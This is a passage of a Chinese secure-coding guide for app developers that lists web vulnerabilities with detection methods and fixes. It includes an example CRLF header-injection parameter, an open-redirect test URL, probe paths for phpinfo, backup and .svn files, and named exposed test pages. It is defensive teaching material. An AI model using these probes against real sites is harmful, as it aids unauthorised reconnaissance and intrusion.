id="3.9.3_.E9.AB.98.E5.8D.B1.E7.AB.AF.E5.8F.A3.2F.E6.9C.8D.E5.8A.A1.E5.BC.80.E6.94.BE.E6.BC.8F.E6.B4.9E" name="3.9.3_.E9.AB.98.E5.8D.B1.E7.AB.AF.E5.8F.A3.2F.E6.9C.8D.E5.8A.A1.E5.BC.80.E6.94.BE.E6.BC.8F.E6.B4.9E"></a></p> <h4>3.9.3 高危端口/服务开放漏洞</h4> <p><strong>名称：</strong>高危端口/服务开放漏洞</p> <p><strong>描述：</strong><br /> 1. 高危端口：<br /> 目前默认给应用开通的端口为80，443，843，8001 &#8211; 8010，其中8001~8010同时支持TCP和UDP协议。<br /> 除这些默认开通的端口以外的其他端口可能带来安全隐患，<span style="color: red">严禁对防火墙iptables进行增删改，私自开通高危端口</span>。 如果需要开通，请通过<a title="腾讯社区开放平台服务团队" href="http://wiki.opensns.qq.com/wiki/%E8%85%BE%E8%AE%AF%E7%A4%BE%E5%8C%BA%E5%BC%80%E6%94%BE%E5%B9%B3%E5%8F%B0%E6%9C%8D%E5%8A%A1%E5%9B%A2%E9%98%9F" target="_blank">企业QQ</a>联系运维支持，提出申请。</p> <p>2. 高危服务：<br /> 目前以下服务属于高危服务，<span style="color: red">禁止对外开放，不能申请</span>：<br /> SSH，Telnet，X-windows，Rlogin，ms-rpc，SNMP，  FTP，TFTP，RPC，MS-RPC，NetBios，MS-SMB，MS-SQL，MYSQL,  memcache，proxy类服务（http-proxy, ftp-proxy，ccproxy-http）， rsync，nfs 。</p> <p><strong>修复方案：</strong>禁止对外使用高危服务。高危端口使用前需申请。</p> <p><a id="4_Web.E5.BA.94.E7.94.A8.E7.A8.8B.E5.BA.8F.E6.BC.8F.E6.B4.9E" name="4_Web.E5.BA.94.E7.94.A8.E7.A8.8B.E5.BA.8F.E6.BC.8F.E6.B4.9E"></a></p> <h2>4 Web应用程序漏洞</h2> <p>Web应用程序指以各种语言（PHP、JSP、C++等）开发的CGI/Web Service。</p> <p><a id="4.1_.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E" name="4.1_.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E"></a></p> <h3>4.1 注入漏洞</h3> <p><a id="4.1.1_SQL.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E" name="4.1.1_SQL.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.1 SQL注入漏洞</h4> <p><strong>名称：</strong> SQL注入漏洞（SQL Injection）</p> <p><strong>描述：</strong>Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行，导致参数中的特殊字符打破了SQL语句原有逻辑，黑客可以利用该漏洞执行任意SQL语句。</p> <p><strong>检测方法：</strong>通过修改参数来判断是否存在漏洞。</p> <p><strong>修复方案：</strong><br /> 1. 针对ASP的防XSS库，Microsoft有提供统一的方法，具体可以参见如下链接: <a title="http://www.cnblogs.com/hcmfys/archive/2008/07/11/1240809.html" href="http://www.cnblogs.com/hcmfys/archive/2008/07/11/1240809.html" rel="nofollow" target="_blank">http://www.cnblogs.com/hcmfys/archive/2008/07/11/1240809.html</a><br /> 2. 针对其它语言如下细分：<br /> 在代码级对带入SQL语句中的外部参数进行转义或过滤：<br /> （1）对于整数，判断变量是否符合[0-9]的值；其他限定值，也可以进行合法性校验<br /> （2）对于字符串，对SQL语句特殊字符进行转义(单引号转成两个单引号，双引号转成两个双引号)。关于这点，PHP有类似的转义函数mysql_escape_string和mysql_real_escape_string。安全中心的CGI安全API（ <a title="http://soc.itil.com/sec_api/index.html" href="http://soc.itil.com/sec_api/index.html" rel="nofollow" target="_blank">http://soc.itil.com/sec_api/index.html</a> ）也实现了该功能。<br /> 建议：<br /> （1）使用腾讯<a title="CMEM" href="http://wiki.opensns.qq.com/wiki/CMEM">CMEM</a>存储方案；<br /> （2)对与数据库进行交互的用户请求数据，要先做过滤，防止SQL注入。</p> <p><a id="4.1.2_XSS.E6.BC.8F.E6.B4.9E" name="4.1.2_XSS.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.2 XSS漏洞</h4> <p><strong>名称：</strong>XSS注入漏洞（Cross-site Scripting）</p> <p><strong>描述：</strong>Web程序代码中把用户提交的参数未做过滤就直接输出到页面，参数中的特殊字符打破了HTML页面的原有逻辑，黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击等。</p> <p><strong>检测方法：</strong>通过修改参数来判断是否存在漏洞。<br /> 比如用户输入内容：&#8217;&lt;u&gt;a&lt;/u&gt;&#8221;的时候，合法的显示是： &#8217;&lt;u&gt;a&lt;/u&gt;&#8221; ，合法的显示的源码是：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/Xss_1.jpg"><img size-full=""  wp-image-3201"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/Xss_1.jpg" alt="" height="28" width="269" /></a><br /> 而存在漏洞的页面显示却是：&#8217;<span style="text-decoration: underline">a</span>&#8221;</p> <p>源码是：<a href="http://www.mysqlops.com/wp-content/uploads/2011/11/Xss_2.jpg"><img size-full=""  wp-image-3202"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/Xss_2.jpg" alt="" height="25" width="92" /></a><br /> <strong>修复方案：</strong><br /> 1. 开发者应该严格按照<a title="概念和术语中给出的openid和openkey校验规则（尚未撰写）" href="http://wiki.opensns.qq.com/index.php?title=%E6%A6%82%E5%BF%B5%E5%92%8C%E6%9C%AF%E8%AF%AD%E4%B8%AD%E7%BB%99%E5%87%BA%E7%9A%84openid%E5%92%8Copenkey%E6%A0%A1%E9%AA%8C%E8%A7%84%E5%88%99&amp;action=edit&amp;redlink=1">概念和术语中给出的openid和openkey校验规则</a>判断openid和openkey是否合法，且判断其它参数的合法性，不合法不返回任何内容。</p> <p>2. 严格限制URL参数输入值的格式，不能包含不必要的特殊字符（&nbsp;%0d、%0a、%0D 、%0A 等）。</p> <p>3. 针对ASP的防XSS库，Microsoft有提供统一的库，具体可以参见如下链接<br /> （1）微软官网：<a title="http://msdn.microsoft.com/en-us/library/aa973813.aspx" href="http://msdn.microsoft.com/en-us/library/aa973813.aspx" rel="nofollow" target="_blank">http://msdn.microsoft.com/en-us/library/aa973813.aspx</a><br /> （2）翻译总结后的：<a title="http://www.zu14.cn/2009/05/05/microsoft-anti-xss-library/" href="http://www.zu14.cn/2009/05/05/microsoft-anti-xss-library/" rel="nofollow" target="_blank">http://www.zu14.cn/2009/05/05/microsoft-anti-xss-library/</a></p> <p>4. 具体的js方法可以参见：、<a title="http://soc.itil.com/sec_api/down_page.php?file=filter_js.zip" href="http://soc.itil.com/sec_api/down_page.php?file=filter_js.zip" rel="nofollow" target="_blank">http://soc.itil.com/sec_api/down_page.php?file=filter_js.zip</a><br /> （1）对于用户输入的参数值展现在HTML正文中或者属性值中的情况，例如：<br /> 展现在html正文中：&lt;a href=&#8217;http://www.contoso.com&#8217;&gt;<span style="color: red">Un-trusted input</span>&lt;/a&gt;<br /> 展现在属性值中：&lt;input name=&#8221;searchword&#8221; value=&#8221;<span style="color: red">Un-trusted input</span>&#8220;&gt;<br /> 此时需要将红色的不可信内容中做如下的转码(即将&lt; &gt; &#8216; &#8220; ` 转成html实体)：<br /> （2）对于用户输入落在&lt;script&gt;的内容中的情况，例如:</p> <div> <p>&lt;script type=&#8221;text/javascript&#8221;&gt;<br /> &#8230;<br /> var mymsg=&#8221;Un-trusted input&#8221;;<br /> var uin=Un-trusted input;<br /> &#8230;<br /> &lt;/script&gt;</p> </div> <pre>需要将红色的不可信内容中做如下的转码: [a-zA-Z0-9.-_,]以及ASC值大于0x80之外的所有字符转化为\x**这种形式，例如：</pre> <p>&nbsp;</p> <p>公司站点的修复方案：参见安全中心安全API库 既需要使用正常HTML标签又要禁止危险HTML标签的富文本要使用专有的富文本filter过滤 安全中心的CGI安全API（ <a title="http://soc.itil.com/sec_api/index.html" href="http://soc.itil.com/sec_api/index.html" rel="nofollow" target="_blank">http://soc.itil.com/sec_api/index.html</a> ）可以统一实现XSS防御 另外，在一些不需要HTML解释的页面（如纯JSON数据返回页面），可以通过设置HTTP响应中的Content-Type为application/json来实现</p> <p><a id="4.1.3_.E5.91.BD.E4.BB.A4.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E" name="4.1.3_.E5.91.BD.E4.BB.A4.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.3 命令注入漏洞</h4> <p><strong>名称：</strong>命令注入漏洞（Command Injection）</p> <p><strong>描述：</strong>Web程序代码中把用户提交的参数未做过滤就直接使用shell执行，攻击者可以执行任意系统命令。</p> <p><strong>检测方法：</strong>通过修改参数来判断是否存在漏洞。</p> <p><strong>修复方案：</strong>在代码级调用shell时，对命令行中的特殊字符进行转义（|、&amp;、；等），防止执行其他非法命令。<br /> PHP中可使用escapeshellarg、escapeshellcmd来转义。</p> <p>&nbsp;</p> <p><a id="4.1.4__HTTP.E5.93.8D.E5.BA.94.E5.A4.B4.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E" name="4.1.4__HTTP.E5.93.8D.E5.BA.94.E5.A4.B4.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.4 HTTP响应头注入漏洞</h4> <p><strong>名称：</strong>HTTP响应头注入漏洞（HTTP-Response-Splitting，HTTP_header_injection）</p> <p><strong>描述：</strong>Web程序代码中把用户提交的参数未做过滤就直接输出到HTTP响应头中，攻击者可以利用该漏洞来注入HTTP响应头，可以造成xss攻击、欺骗用户下载恶意可执行文件等攻击。<br /> 另外根据国际安全组织司acunetix统计，以下apache存在header injection漏洞：1.3.34/2.0.57/2.2.1。</p> <p><strong>检测方法：</strong>通过修改参数来判断是否存在漏洞。<br /> 比如国内某著名网站曾经出现过header注入漏洞，如下url：</p> <p>http://www.YYYYYYYYY.com/YYYYWeb/jsp/website/agentInvoke.jsp?agentid=%0D%0AX-foo:%20bar</p> <p>抓包时发现：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/http.jpg"><img size-full=""  wp-image-3203"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/http.jpg" alt="" height="251" width="568" /></a><br /> <strong>修复方案：</strong><br /> 1. 在设置HTTP响应头的代码中，过滤回车换行（%0d%0a、%0D%0A)字符。<br /> 2. 不采用有漏洞版本的apache服务器，同时对参数做合法性校验以及长度限制，谨慎的根据用户所传入参数做http返回包的header设置。</p> <p>&nbsp;</p> <p><a id="4.1.5_.E8.B7.B3.E8.BD.AC.E6.BC.8F.E6.B4.9E" name="4.1.5_.E8.B7.B3.E8.BD.AC.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.5 跳转漏洞</h4> <p><strong>名称：</strong>跳转漏洞</p> <p><strong>描述：</strong>Web程序直接跳转到参数中的URL，或页面引入任意的第三方URL。</p> <p><strong>检测方法：</strong>修改参数中的合法URL为非法URL。例如测试一下如下URL：</p> <p>http://***.qq.com/cgi-bin/demo_es.cgi?backurl=http://www.***.com，看是否会跳转到注入的http://www.***.com站点。</p> <p><strong>修复方案：</strong>在控制页面转向的地方校验传入的URL是否为可信域名。<br /> 例如以下是一段校验是否是腾讯域名的JS函数：</p> <div> <p>function VaildURL(sUrl)<br /> {<br /> return  (/^(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)||(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl)&nbsp;?  true&nbsp;: false;<br /> }</p> </div> <p><a id="4.1.6_XML.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E" name="4.1.6_XML.E6.B3.A8.E5.85.A5.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.1.6 XML注入漏洞</h4> <p><strong>名称：</strong>XML注入漏洞</p> <p><strong>描述：</strong>Web程序代码中把用户提交的参数未做过滤就直接输出到XML中。</p> <p><strong>检测方法：</strong>通过修改参数来判断是否存在漏洞。</p> <p><strong>修复方案：</strong>在代码级输出时对XML特殊字符（&#8220;&lt;&#8221;、&#8220;&gt;&#8221;、&#8220;&gt;]]&#8221;）进行转义。</p> <p><a id="4.2_.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2_.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h3>4.2 信息泄漏漏洞</h3> <p><a id="4.2.1_HPInfo.28.29.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2.1_HPInfo.28.29.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.1 HPInfo()信息泄漏漏洞</h4> <p><strong>名称：</strong>PHPInfo()信息泄漏漏洞</p> <p><strong>描述：</strong>Web站点的某些测试页面可能会使用到PHP的phpinfo()函数，会输出服务器的关键信息。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/php.png"><img size-full=""  wp-image-3204"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/php.png" alt="" height="412" width="485" /></a><br /> <strong>检测方法：</strong>访问http://[ip]/test.php 以及http://[ip]/phpinfo.php看是否成功。</p> <p><strong>修复方案：</strong>删除该PHP文件。</p> <p>&nbsp;</p> <p><a id="4.2.2_.E6.B5.8B.E8.AF.95.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E5.9C.A8.E5.A4.96.E7.BD.91.E6.BC.8F.E6.B4.9E" name="4.2.2_.E6.B5.8B.E8.AF.95.E9.A1.B5.E9.9D.A2.E6.B3.84.E6.BC.8F.E5.9C.A8.E5.A4.96.E7.BD.91.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.2 测试页面泄漏在外网漏洞</h4> <p><strong>名称：</strong>测试页面泄漏在外网漏洞</p> <p><strong>描述：</strong>一些测试页面泄漏到外网，导致外界误传公司被黑客入侵。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/parts.jpg"><img size-full=""  wp-image-3205"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/parts.jpg" alt="" height="73" width="367" /></a><br /> 1. <a title="http://parts.baby.qzoneapp.com/" href="http://parts.baby.qzoneapp.com/" rel="nofollow" target="_blank">http://parts.baby.qzoneapp.com/</a></p> <p>&nbsp;</p> <p>2. <a title="http://parts.baby.qzoneapp.com/test.php" href="http://parts.baby.qzoneapp.com/test.php" rel="nofollow" target="_blank">http://parts.baby.qzoneapp.com/test.php</a><br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/parts_2.jpg"><img size-full=""  wp-image-3206"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/parts_2.jpg" alt="" height="157" width="350" /></a><br /> 3. <a title="http://other.baby.qzoneapp.com" href="http://other.baby.qzoneapp.com/" rel="nofollow" target="_blank">http://other.baby.qzoneapp.com</a><br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/parts_3.jpg"><img size-full=""  wp-image-3207"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/parts_3.jpg" alt="" height="125" width="421" /></a><br /> <strong>检测方法：</strong>检测页面内容，看是否是测试页面。</p> <p><strong>修复方案：</strong>删除测试页面，例如test.cgi，phpinfo.php，info.pho， .svn/entries等。</p> <p>&nbsp;</p> <p><a id="4.2.3_.E5.A4.87.E4.BB.BD.E6.96.87.E4.BB.B6.E6.B3.84.E6.BC.8F.E5.9C.A8.E5.A4.96.E7.BD.91.E6.BC.8F.E6.B4.9E" name="4.2.3_.E5.A4.87.E4.BB.BD.E6.96.87.E4.BB.B6.E6.B3.84.E6.BC.8F.E5.9C.A8.E5.A4.96.E7.BD.91.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.3 备份文件泄漏在外网漏洞</h4> <p><strong>名称：</strong>备份文件泄漏在外网漏洞</p> <p><strong>描述：</strong>编辑器或者人员在编辑文件时，产生的临时文件，如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等，这些文件会泄漏源代码或者敏感信息。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/ue_1.png"><img size-full=""  wp-image-3208"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/ue_1.png" alt="" height="316" width="527" /></a><br /> 泄漏源代码可以让黑客完全了解后台开发语言、架构、配置信息等。下图是国内某著名网站曾经出现过的源代码泄漏漏洞：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/ue_2.jpg"><img size-full=""  wp-image-3209"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/ue_2.jpg" alt="" height="600" width="431" /></a><br /> <strong>检测方法：</strong>在cgi文件后面添加.bak、.swp、.old、~等后缀探测。</p> <p><strong>修复方案：</strong>删除备份文件。</p> <p>&nbsp;</p> <p><a id="4.2.4_.E7.89.88.E6.9C.AC.E7.AE.A1.E7.90.86.E5.B7.A5.E5.85.B7.E6.96.87.E4.BB.B6.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2.4_.E7.89.88.E6.9C.AC.E7.AE.A1.E7.90.86.E5.B7.A5.E5.85.B7.E6.96.87.E4.BB.B6.E4.BF.A1.E6.81.AF.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.4 版本管理工具文件信息泄漏漏洞</h4> <p><strong>名称：</strong>版本管理工具文件信息泄漏漏洞</p> <p><strong>描述：</strong>版本管理工具SVN和CVS会在所有目录添加特殊文件，如果这些文件同步到Web目录后就会泄漏路径等信息。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/svn.png"><img size-full=""  wp-image-3210"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/svn.png" alt="" height="244" width="401" /></a><br /> <strong>检测方法：</strong>访问http://[ip]/CVS/Entriesp 以及http://[ip]/.svn/entriesp看是否成功。</p> <p><strong>修复方案：</strong>删除SVN各目录下的.svn目录；删除CVS的CVS目录。</p> <p>&nbsp;</p> <p><a id="4.2.5_HTTP.E8.AE.A4.E8.AF.81.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2.5_HTTP.E8.AE.A4.E8.AF.81.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.5 HTTP认证泄漏漏洞</h4> <p><strong>名称：</strong>HTTP认证泄漏漏洞</p> <p><strong>描述：</strong>Web目录开启了HTTP Basic认证，但未做IP限制，导致攻击者可以暴力破解帐号密码。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/http_basic.png"><img size-full=""  wp-image-3211"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/http_basic.png" alt="" height="461" width="446" /></a><br /> <strong>修复方案：</strong>限制IP访问该目录。</p> <p>&nbsp;</p> <p><a id="4.2.6_.E7.AE.A1.E7.90.86.E5.90.8E.E5.8F.B0.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2.6_.E7.AE.A1.E7.90.86.E5.90.8E.E5.8F.B0.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.6 管理后台泄漏漏洞</h4> <p><strong>名称：</strong>管理后台泄漏漏洞</p> <p><strong>描述：</strong>管理后台的帐号和密码设计过于简单，容易被猜测到，导致攻击者可以暴力破解帐号密码。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/administrator.png"><img size-full=""  wp-image-3212"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/administrator.png" alt="" height="283" width="403" /></a><br /> <strong>修复方案：</strong><br /> 1. 将管理后台的服务绑定到内网ip上，禁止开放在外网。<br /> 2. 如果该管理后台必须提供给外网访问，则未登录页面不要显示过多内容，防止敏感信息泄漏，登录帐号需经过认证，且密码设置规则尽量复杂，增加验证码，以防止暴力破解。</p> <p><a id="4.2.7_.E6.B3.84.E6.BC.8F.E5.91.98.E5.B7.A5.E7.94.B5.E5.AD.90.E9.82.AE.E7.AE.B1.E6.BC.8F.E6.B4.9E.E4.BB.A5.E5.8F.8A.E5.88.86.E6.9C.BA.E5.8F.B7.E7.A0.81" name="4.2.7_.E6.B3.84.E6.BC.8F.E5.91.98.E5.B7.A5.E7.94.B5.E5.AD.90.E9.82.AE.E7.AE.B1.E6.BC.8F.E6.B4.9E.E4.BB.A5.E5.8F.8A.E5.88.86.E6.9C.BA.E5.8F.B7.E7.A0.81"></a></p> <h4>4.2.7 泄漏员工电子邮箱漏洞以及分机号码</h4> <p><strong>名称：</strong>泄漏员工电子邮箱漏洞以及分机号码</p> <p><strong>描述：</strong>泄漏员工内部电子邮箱以及分机号码相当于泄漏了员工内部ID，可以为黑客进行社会工程学攻击提供有价值的材料，同时也为黑客暴力破解后台服务提供重要的帐号信息。</p> <p><strong>修复方案：</strong>删除页面注释等地方中出现腾讯员工电子邮箱以及分机号码的地方。</p> <p>&nbsp;</p> <p><a id="4.2.7_.E9.94.99.E8.AF.AF.E8.AF.A6.E6.83.85.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E" name="4.2.7_.E9.94.99.E8.AF.AF.E8.AF.A6.E6.83.85.E6.B3.84.E6.BC.8F.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.2.7 错误详情泄漏漏洞</h4> <p><strong>名称：</strong>错误详情泄漏漏洞</p> <p><strong>描述：</strong>页面含有CGI处理错误的代码级别的详细信息，例如sql语句执行错误原因，php的错误行数等。</p> <p><strong>检测方法：</strong>修改参数为非法参数，看页面返回的错误信息是否泄漏了过于详细的代码级别的信息。</p> <p><strong>修复方案：</strong>将错误信息对用户透明化，在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因。</p> <p><a id="4.3_.E8.AF.B7.E6.B1.82.E4.BC.AA.E9.80.A0.E6.BC.8F.E6.B4.9E" name="4.3_.E8.AF.B7.E6.B1.82.E4.BC.AA.E9.80.A0.E6.BC.8F.E6.B4.9E"></a></p> <h3>4.3 请求伪造漏洞</h3> <p><a id="4.3.1_CSRF.E6.BC.8F.E6.B4.9E" name="4.3.1_CSRF.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.3.1 CSRF漏洞</h4> <p><strong>名称：</strong>CSRF漏洞（Cross Site Request Forgery）</p> <p><strong>描述：</strong>用户以当前身份浏览到flash或者第三方网站时，JS/flash可以迫使用户浏览器向任意CGI发起请求，此请求包含用户身份标识，CGI如无限制则会以用户身份进行操作。</p> <p><strong>检测方法：</strong><br /> 1. 在实际的测试过程中，测试人员需要判断操作是否为保存类操作，是否强制为POST方式传输参数。<br /> 判断方式是通过抓包工具把所有的POST参数都改成GET方式提交。<br /> 需要注意的是，这种方法只可防止图片跳转式CSRF漏洞，如果页面上有XSS漏洞话，CSRF无法防御。<br /> 2. 最简单的办法就是查阅该cgi是否带有无法预知的参数，例如随机字符串等。</p> <p><strong>修复方案：</strong>可使用以下任意办法防御CSRF攻击：<br /> 1. 在表单中添加form token（隐藏域中的随机字符串）；<br /> 2. 请求referrer验证；<br /> 3. 关键请求使用验证码。</p> <p><a id="4.3.2_JSON-hijackin.E6.BC.8F.E6.B4.9E" name="4.3.2_JSON-hijackin.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.3.2 JSON-hijackin漏洞</h4> <p><strong>名称：</strong>JSON-hijackin漏洞</p> <p><strong>描述：</strong>CGI以JSON形式输出数据，黑客控制的第三方站点以CSRF手段强迫用户浏览器请求CGI得到JSON数据，黑客可以获取敏感信息.</p> <p><strong>检测方法：</strong><br /> 1. 检查返回的json数据是否包含敏感信息，例如用户ID，session key，邮箱地址，手机号码，好友关系链等。<br /> 2. 确认提交是否带有无法预知的参数，例如随机字符串等。<br /> <strong>修复方案：</strong>可使用以下任意办法防御CSRF攻击：<br /> 1. 在请求中添加form token（隐藏域中的随机字符串）；<br /> 2. 请求referrer验证。</p> <p><a id="4.4_.E6.9D.83.E9.99.90.E6.8E.A7.E5.88.B6.E6.BC.8F.E6.B4.9E" name="4.4_.E6.9D.83.E9.99.90.E6.8E.A7.E5.88.B6.E6.BC.8F.E6.B4.9E"></a></p> <h3>4.4 权限控制漏洞</h3> <p><a id="4.4.1_.E6.96.87.E4.BB.B6.E4.B8.8A.E4.BC.A0.E6.BC.8F.E6.B4.9E" name="4.4.1_.E6.96.87.E4.BB.B6.E4.B8.8A.E4.BC.A0.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.1 文件上传漏洞</h4> <p><strong>名称：</strong>文件上传漏洞</p> <p><strong>描述：</strong>接受文件上传的Web程序未对文件类型和格式做合法性校验，导致攻击者可以上传Webshell（.php、.jsp等）或者非期望格式的文件（.jpg后缀的HTML文件）</p> <p><strong>修复方案：</strong>文件上传的CGI做到：<br /> 1. 上传文件类型和格式校验；<br /> 2. 上传文件以二进制形式下载，不提供直接访问。</p> <p><a id="4.4.2_crossdomain.xml.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E" name="4.4.2_crossdomain.xml.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.2 crossdomain.xml配置不当漏洞</h4> <p><strong>名称：</strong>crossdomain.xml配置不当漏洞</p> <p><strong>描述：</strong>网站根目录下的文件crossdomain.xml指明了远程flash是否可以加载当前网站的资源（图片、网页内容、flash等）。<br /> 如果配置不当，可能带来CSRF攻击。如下图所示：<br /> <a href="http://www.mysqlops.com/wp-content/uploads/2011/11/csrf.png"><img size-full=""  wp-image-3213"="" src="http://www.mysqlops.com/wp-content/uploads/2011/11/csrf.png" alt="" height="230" width="379" /></a><br /> <strong>检测方法：</strong><br /> 访问http://[domain]/crossdomain.xml<br /> <strong>修复方案：</strong>对于不需要外部加载资源的网站，crossdomain.xml中更改allow-access-from的domain属性为域名白名单。<br /> 修复大致样本参考如下（备注：示例中的app10000.qzoneapp.com请修改为自己指定的站点）：</p> <div> <p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br /> &lt;cross-domain-policy&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;*.qq.com&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;*.soso.com&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;*.paipai.com&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;*.gtimg.cn&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;*.pengyou.com&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;app18288.qzoneapp.com&#8221;/&gt;<br /> &lt;allow-access-from secure=&#8221;false&#8221; domain=&#8221;imgcache.qzoneapp.com&#8221;/&gt;<br /> &lt;/cross-domain-policy&gt;</p> </div> <p><a id="4.4.3_flash.E6.A0.87.E7.AD.BE.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E" name="4.4.3_flash.E6.A0.87.E7.AD.BE.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.3 flash标签配置不当漏洞</h4> <p><strong>名称：</strong>flash标签配置不当漏洞</p> <p><strong>描述：</strong>网页在引入flash的时候，会通过object/embed标签，在设置的时候，如果一些属性配置不当，会带来安全问题：<br /> 1. allowScriptAccess：是否允许flash访问浏览器脚本。如果不对不信任的flash限制，默认会允许调用浏览器脚本，产生XSS漏洞。<br /> always（默认值），总是允许；sameDomain，同域允许；never，不允许<br /> 2. allowNetworking：是否允许flash访问ActionScript中的网络API。如果不对不信任的flash限制，会带来flash弹窗、CSRF等问题。<br /> all，允许所有功能，会带来flash弹窗危害；internal，可以向外发送请求/加载网页；none，无法进行任何网络相关动作（业务正常功能可能无法使用）</p> <p><strong>修复方案：</strong>对于不信任flash源，allowScriptAccess设置为never，allowNetworking设置为none（业务需要可以放宽为internal）。</p> <p><a id="4.4.4_embed.E6.A0.87.E7.AD.BE.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E" name="4.4.4_embed.E6.A0.87.E7.AD.BE.E9.85.8D.E7.BD.AE.E4.B8.8D.E5.BD.93.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.4 embed标签配置不当漏洞</h4> <p><strong>名称：</strong>embed标签配置不当漏洞</p> <p><strong>描述：</strong>网页会通过embed标签引入媒体文件（如rm、avi等视频音频），这些媒体文件中如有脚本指令（弹窗/跳转），如果没有限制就会出现安全问题。</p> <p><strong>检测方法：</strong>检查embed标签中是否有invokes标签。</p> <p><strong>修复方案：</strong>添加属性invokes值为-1。</p> <p><a id="4.4.5_.E5.B9.B6.E5.8F.91.E6.BC.8F.E6.B4.9E" name="4.4.5_.E5.B9.B6.E5.8F.91.E6.BC.8F.E6.B4.9E"></a></p> <h4>4.4.5 并发漏洞</h4> <p><strong>名称：</strong>并发漏洞</p> <p><strong>描述：</strong>攻击者通过并发http/tcp请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发的效果。<br /> 下面以简化的例子说明在交易的Web应用程序中潜在的并行问题，并涉及联合储蓄帐户中的两个用户（线程）都登录到同一帐户试图转账的情况：<br /> 帐户A有100存款，帐户B有100存款。用户1和用户2都希望从帐户A转10分到帐户B.<br /> 如果是正确的交易的结果应该是：帐户A 80分，帐户B 